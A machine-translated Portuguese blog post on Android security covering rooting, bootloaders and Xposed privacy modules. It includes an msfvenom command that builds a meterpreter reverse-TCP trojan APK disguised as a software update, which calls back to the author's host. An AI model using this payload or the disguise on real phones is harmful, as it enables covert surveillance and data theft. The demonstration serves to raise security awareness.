Fonte da imagem: pixabay.com

Introdução ao Android

Neste tópico, vamos aprender sobre o Android e o Open Source Security (OS). Android é uma plataforma de código aberto. É muito parecido com o Linux, mas ainda muito diferente do Linux. O Linux está muito maduro quando comparado ao Android. Então, este é Chetan Nayak, e bem-vindo ao meu próximo blog sobre Open Source Web Security. Eu escrevi este blog supondo que a maioria de nós usaria o Android K, ou seja, Kitkat ou Android L, ou seja, Lollipop.

O motivo foi o Gingerbread e o Jellybean terem muitos problemas de segurança de código aberto que não posso discutir neste único blog. Então, talvez eu deva discuti-lo na próxima vez, quando me aprofundar nas versões mais antigas do Android. Então, a partir de agora, vamos ficar com KitKat e Lollipop.

O Android foi projetado com desenvolvedores em mente. Os controles de segurança foram projetados para reduzir a carga sobre os desenvolvedores. Os desenvolvedores com experiência em segurança podem trabalhar com facilidade e confiar em controles de segurança flexíveis. Os desenvolvedores menos familiarizados com a segurança serão protegidos por padrões seguros.

O início

Eu não estava muito interessado no Android até o final do trimestre de 2013, quando tive meu primeiro telefone celular Android, que era o Sony Xperia L (baseado no 4.2.2 até então). Caramba, eu até odiava o Android, pelo fato de ser extremamente lento, especialmente nos dispositivos Samsung. Eu até pensei em comprar um Windows Lumia naquela época, mas felizmente costumava jogar muitos jogos e tive que comprar o Xperia L, pois esse celular era à prova de lag. Tinha cerca de 1 gig de RAM e Adreno 305. Frio o suficiente para rodar qualquer coisa.

Depois de jogar muitos jogos como NOVA3 e ModernCombat4, fiquei entediado com essa célula em um mês. Eu sabia que o Android era baseado no Linux e queria fazer algumas das minhas modificações. Comecei a ler sobre personalizações e aprendi sobre o que era chamado de 'Enraizamento'. Desde que eu tive um bom backhand no Linux, o enraizamento não foi um problema para mim. Com um pouco de ajuda do XDA, consegui fazer root no meu celular.

Mas então algo me atingiu. Assim que meu celular foi reiniciado após o enraizamento, ele começou o loop de inicialização (preso na tela de inicialização para sempre). Eu nem sabia o que era o bootloader no Android. Então, não havia nada que eu pudesse fazer. Foi apenas um mês depois de eu ter comprado meu novo celular e meu celular agora estava macio. Eu sempre leio que o enraizamento é perigoso, mas não sabia que isso afetaria meu celular. Mas eu estava errado. Enquanto eu continuava lendo uma e todas as outras coisas sobre o enraizamento, fiquei sabendo que o enraizamento não impede o seu telefone.

O enraizamento é semelhante ao acesso ao administrador em um computador (na verdade, é um acesso ao sistema, mas eu escrevi o acesso ao administrador, por isso é fácil de entender para os noobs.). Isso significa que o enraizamento nunca bloqueará seu telefone. Foi o carregador de inicialização que bloqueou meu telefone. Para pessoas que não sabem o gerenciador de inicialização é; O gerenciador de inicialização é semelhante ao BIOS no Windows. (Se você não sabe o que é o BIOS, então você nem deve ler pensando em segurança.) Bootloader ou Hboot (como é chamado no android) é a primeira coisa que é executada quando você inicializa o seu Android dispositivo.

Ele contém as instruções para inicializar o kernel do sistema operacional e a maioria delas foi projetada especificamente para executar seu próprio ambiente de depuração ou modificação.

O ponto de verificação de segurança do Android

Pense no gerenciador de inicialização como o ponto de verificação de segurança do seu dispositivo. Se você quebrar esse ponto de verificação, perderá tudo o que tem no telefone. Portanto, é um bom recurso de segurança, eu digo. Como se você perder o telefone e alguém tentar obter acesso root para ignorar o bloqueio (supondo que você bloqueou seu dispositivo com um pino ou senha), ele será obrigado a desbloquear o gerenciador de inicialização, o que resultará na exclusão dos dados. no telefone.

Portanto, você não precisa se preocupar com alguém fazendo mau uso. Assim, o mesmo ocorre com as ROMS personalizadas. ROMs são sistemas operacionais baseados em versões do Android projetadas especificamente para sua arquitetura de hardware. Portanto, se você verificar o XDA, no seu telefone, você terá um número de ROMs personalizadas para os seus telefones, algumas das mais famosas são as ROMs Cyanogen Mod, que já estão pré-enraizadas e vêm com um conjunto predefinido de personalizações .

A substituição de segurança do Android

Você pode estar pensando a partir de agora que possui um telefone celular seguro. Mas estou aqui para provar que você está errado de novo e esse é o objetivo deste blog. No segundo trimestre de 2014, as pessoas já haviam começado a desenvolver exploits e rootkits para Android, que podiam fazer root nos seus telefones celulares sem sequer desbloquear os gerenciadores de inicialização.

Não é assustador o suficiente? Deixe-me contar a parte mais perigosa. Eles poderiam até instalar cavalos de Troia dentro disso. Portanto, mesmo que os policiais possam rastrear a célula e você recuperá-la, ainda existe um alto risco de que eles possam ver tudo o que você faz no telefone. Isso é algo que eu tentei como um experimento em um ambiente prático real.

Eu usei o Metasploit para este ataque. O que fiz foi criar um Trojan e instalá-lo no telefone de destino. Era um arquivo apk simples e chamei-o de Atualização de software. Portanto, se o usuário é apenas um homem comum, com apenas um bit e byte de informações sobre segurança, ele nem se atreve a removê-lo. E assegurei-me de que sempre que a Internet fosse ativada, o malware que eu criava se executaria automaticamente e se conectaria novamente à minha porta remota na máquina host.

Os seguintes comandos foram usados ​​para o ataque (o Metasploit é um software de teste de penetração que ajuda na verificação de vulnerabilidades em uma plataforma ou dispositivos específicos.)

Endereço IP do meu host: 192.168.xx.xx

Porta My Host (para conectar novamente): 445

>>>msfvenom

>>> msfvenom android / meterpreter / reverse_tcp LHOST = 192.168.xx.xx LPORT = 445> SoftwareUpgrade.apk

Então, aqui eu criei um canal TCP reverso no meu computador. Assim, toda vez que a Internet iniciar no Android, eu abrirei um shell na minha máquina Kali ou na máquina em que instalei o Metasploit.

Então, agora você sabe o quão assustador é para uma pessoa que você nem conhece, possui registros de todas as transações que você faz através do seu celular, todos os outros contatos, mensagens do WhatsApp, SMS, Viber e registro de chamadas do Skype e tudo mais. Se isso não é assustador, então eu não sei o que é.

Cursos recomendados

  • Curso de Certificação em Depuração Ruby
  • Curso Completo de PHP MySQL
  • Curso de Certificação Online em Programação VB.NET
  • Curso Online sobre ITIL Foundation

A Cobertura

Chega de problemas de segurança. Todos sabemos que todas as outras plataformas têm problemas de segurança. Como poderíamos estar seguros então? isso não é exatamente verdade. As plataformas podem ser protegidas até um ponto específico, mas depois disso, cabe a nós garantir que continue assim. Há uma citação infame no mundo da segurança:

“Engenharia social: porque não há remendo para a estupidez humana”

Ouvi essa frase há muito tempo, quando assistia a uma conferência da DefCon.

Quando não houver vulnerabilidade técnica para explorar, tente invadir humanos. E, com isso, não quero dizer hipnotismo e outras coisas. Quero dizer Engenharia Social. Você pode ler meu outro blog "Importância da segurança cibernética no dia a dia" para obter mais informações sobre isso.

Função principal de segurança do Android

Além disso, a engenharia social, algo que só pode ser resolvido se você for inteligente; existem maneiras de como você pode desenvolver aplicativos Android de maneira segura para garantir que continue assim.

Então, aqui estão alguns dos principais recursos de segurança que ajudam a criar aplicativos seguros:

  • A Sandbox de aplicativos Android, que isola os dados do aplicativo e a execução de código de outros aplicativos.
  • Uma estrutura de aplicativo com implementações robustas de funcionalidades de segurança comuns, como criptografia, permissões e IPC seguro.
  • Um sistema de arquivos criptografado que pode ser ativado para proteger dados em dispositivos perdidos ou roubados.
  • Permissões concedidas pelo usuário para restringir o acesso aos recursos do sistema e aos dados do usuário.
  • Permissões definidas pelo aplicativo para controlar os dados do aplicativo por aplicativo.

O que você pode fazer se quiser um Ambiente Seguro, mas não for um desenvolvedor?

A partir do Android 5, ou seja, Lollipop, ele fornece um recurso em que o usuário pode adicionar vários perfis e modos restritos para usar telefones e tablets. Além disso, se você tiver rooteado o telefone, existem aplicativos Android nos módulos Xposed, como AppOps, Xprivacy ou Privacy Guard, que podem ajudá-lo a cuidar de quase tudo. Você precisa instalar o Xposed Framework para isso.

O Xposed Framework é o que permite que os módulos do Xposed funcionem. Os módulos Xposed permitem alterar o comportamento dos arquivos Apk e do sistema sem a necessidade de instalar uma ROM diferente. Também é fácil desfazer as alterações, portanto, há pouco risco aqui e isso nem consome tempo, pois não é necessário atualizar várias ROMS, kernels e suas correções.

Xprivacy, Privacy Guard e AppOps são módulos expostos que permitem tornar seu android seguro, escolhendo qual aplicativo deve ter acesso a itens como internet, teclado, sdcard, acesso root e muitas outras coisas. Você pode até desativar o acesso a apenas serviços específicos e criar modelos definidos pelo usuário para isso. Quanto a mim, prefiro escolher o Xprivacy. Mas aqui estão algumas informações ou diferenças, se você pedir para diferir para escolher entre os três acima.

AppOps:

Isso foi originalmente introduzido pelo Google no Android 4.3. (Esse é o principal motivo pelo qual não o suporte. Não confio no Google. Chame isso de paranóia, mas o google rastreia tudo o que você faz. E não preciso de alguém para acompanhar tudo o que faço, mas se você confia no Google, vá em frente.). A principal limitação do AppOps é que o Google permite bloquear o acesso apenas aos aplicativos que ele deseja que você bloqueie.

Isso significa que, se você deseja bloquear aplicativos relacionados ao Google, como o Play Services (que na verdade consome mais de 50% da memória, bateria e dados normais (internet)), não será possível. Esse é mais um motivo para eu odiar o Google. Então, acredito que o AppOps não passa de um malware para mim. (mas sou eu que penso assim, não é se você confiar no Google de todo coração)

Guarda de Privacidade:

O Privacy Guard é uma interface simples de usar, substituída pelo AppOps pelo Cyanogen Mod. Se você é iniciante, sugiro que use isso, pois ele possui apenas um botão liga / desliga e modelos autodefinidos sobre o tipo de aplicativo que deve ter acesso a quê. Isso não é tão seguro se houver um malware que atue ou represente como um aplicativo do sistema. Mas é bom você começar.

Xprivacy:

Xprivacy é uma ferramenta Tudo em um. Mas é destinado a especialistas. Você pode compará-lo com um canivete suíço. Ele possui tudo e pode proteger seu telefone de qualquer outra maneira, mas se você não souber o que está fazendo, ele só atrapalhará o telefone e interromperá o uso dos aplicativos. Você também pode restringir o acesso aos aplicativos do sistema. Este é o que eu pessoalmente prefiro escolher.

Além dos módulos acima, existem ainda outros módulos, como o Lightening Firewall ou o BootManager no Xposed, que podem ajudar a restringir o acesso à Internet para aplicativos específicos e impedir que os aplicativos sejam inicializados no sistema ao reiniciar um telefone.

Então, seria isso para este blog. Em caso de problemas de segurança, você certamente pode visitar ou ser um membro do site da XDA, o que pode lhe fornecer muito mais informações sobre privacidade.

Artigos recomendados: -

Este foi um guia para o Android. Aqui discutimos o conceito básico, pontos de verificação de segurança e a função principal de segurança do Android. Você também pode consultar nossos outros artigos sugeridos para saber mais -

  1. Perguntas da entrevista para Android - As 10 principais perguntas úteis
  2. 8 alternativas úteis da Siri para Android
  3. 28 Melhores dicas e truques para ferramentas de desenvolvimento de aplicativos Android
  4. Carreiras em Desenvolvimento Android